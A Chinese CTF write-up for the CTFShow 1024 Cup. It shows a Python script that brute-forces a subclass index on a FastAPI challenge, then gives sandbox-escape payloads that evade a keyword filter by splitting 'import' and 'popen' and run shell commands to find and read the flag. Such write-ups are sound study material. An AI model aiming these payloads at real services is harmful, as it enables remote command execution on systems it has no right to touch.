CTFShow 1024杯

怎么说,打完感觉还是自己太菜了,打比赛的时候查阅文档的能力不行,赶紧做笔记做笔记。

WEB签到

传入phpinfo()查看,调用ctfshow_1024 support()获得flag。

fastapi

之前没有了解过fastapi,对这个框架比较陌生,只知道他是python写的主要用于构建API,根据鸡王杯大佬的总结,有以下特性:

  • 快速:非常高的性能,与 NodeJS 和 Go 相当
  • 快速编码:将功能开发速度提高约 200% 至 300%
  • 更少的错误:减少约 40% 的人为错误
  • 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
  • 简易:旨在易于使用和学习,减少阅读文档的时间。
  • 简短:减少代码重复。
  • 稳健:获取可用于生产环境的代码,具有自动交互式文档
  • 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

发现存在/docs文档,可以与/ccca1ccc进行交互。

由于是python,第一时间考虑的是SSTI模板注入,但是使用网上的payload都是返回空字符串或者报错。

使用str()切片显示,发现可以:

str([].__class__.__base__.__subclasses__())[1:]

返回Object的所有子类

感觉这里又是我的知识盲区了,当时比赛试了一些SSTI的payload,但是没有成效,以为这里有WAF,但是是可以通过切片返回的。

查找warnings.catch_warnings下标并返回(参考Lazzaro):

import requests

url = 'http://0036be1d-d998-420a-bdef-421987f9eb43.chall.ctf.show/cccalccc'
for i in range(500):
    data = {'q': 'str([].__class__.__base__.__subclasses__()[' + str(i) + '])[1:]'}
    r = requests.post(url, data)
    if r.text.find("warnings.catch_warnings") != -1:
        print(i)
        print(r.text)

payload:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

发现杯过滤,fuzz后发现system和import被过滤,import可以用字符串拼接绕过,system换成popen:

str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['po'+'pen']('ls').read())[1:]

啥也没有,利用grep查找一下关键字:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read()

读取flag:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇